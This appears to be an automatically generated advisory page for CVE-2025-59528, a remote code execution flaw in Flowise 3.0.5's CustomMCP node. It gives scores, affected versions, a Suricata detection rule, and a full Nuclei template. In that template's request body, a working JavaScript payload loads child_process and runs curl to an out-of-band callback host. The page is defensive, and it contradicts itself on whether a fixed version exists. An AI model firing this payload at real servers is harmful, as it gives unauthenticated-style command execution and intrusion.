CVE-2025-59528: Flowise has Remote Code Execution vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-20 18:46 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation. Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs. This issue has been patched in version 3.0.6.
Description quoted from the CVE record (assigned by GitHub_M, published 2025-09-22).
Weakness: CWE-94: Improper Control of Generation of Code (‘Code Injection’)
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: total.
Public exploit evidence (Exploit Observer)
Exploit Observer found 2 Exploit-DB entries, 1 Nuclei template and 22 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 32 references on Exploit Observer
Live scores
- EPSS
- 0.917
very likely to be attacked soon - VEDAS
- 0.990
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| FlowiseAI Flowise | version = 3.0.5 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.
How to detect it
Nuclei template (active check)
Flowise - Code Injection
Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (POST /api/v1/auth/login, POST /api/v1/node-load-method/customMCP); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2025-59528.yamlShow the template (57 lines)
id: CVE-2025-59528
info:
name: Flowise - Code Injection
author: vedas-arpsyndicate
severity: critical
description: |
Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5,
Flowise is vulnerable to remote code execution.
reference:
- https://www.exploit.observer/?keyword=CVE-2025-59528&match=exact
- https://subdomain.center/?engine=ammonites&keyword=flowise&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-59528
cwe-id: CWE-94
metadata:
verified: false
tags: cve,cve2025,flowise,rce,authenticated,vkev
flow: http(1) && http(2)
http:
- raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{email}}","password":"{{password}}"}
matchers:
- type: dsl
dsl:
- 'contains(content_type, "application/json")'
- 'contains_all(body, "id", "email", "name")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
POST /api/v1/node-load-method/customMCP HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"curl {{interactsh-url}}\");return 1;})()})"}}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(content_type, "application/json")'
- 'contains(body, "No Available Actions")'
- 'status_code == 200'
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-59528 Flowise - Code Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-59528 Flowise - Code Injection"; flow:established,to_server; http.uri; content:"/api/v1/node-load-method/customMCP"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-59528; reference:url,https://www.exploit.observer/?keyword=CVE-2025-59528&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=flowise&match=exact; sid:1009180; rev:1;)
CVE-2025-59528.rules on GitHub
Advisories on this CVE
- MCP flaws in 2026: mcp-atlassian SSRF and file write to RCE, MCP Python SDK OAuth credential theft, and OpenCode code execution at sign-in (full advisory)
References
Other references
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p (x_refsource_CONFIRM)
- https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L132 (x_refsource_MISC)
- https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L220 (x_refsource_MISC)
- https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L262-L270 (x_refsource_MISC)
- https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/nodes/index.ts#L57-L78 (x_refsource_MISC)
- https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/routes/node-load-methods/index.ts#L5 (x_refsource_MISC)
- https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/nodes/index.ts#L91-L94 (x_refsource_MISC)
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6 (x_refsource_MISC)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.
Supporting partners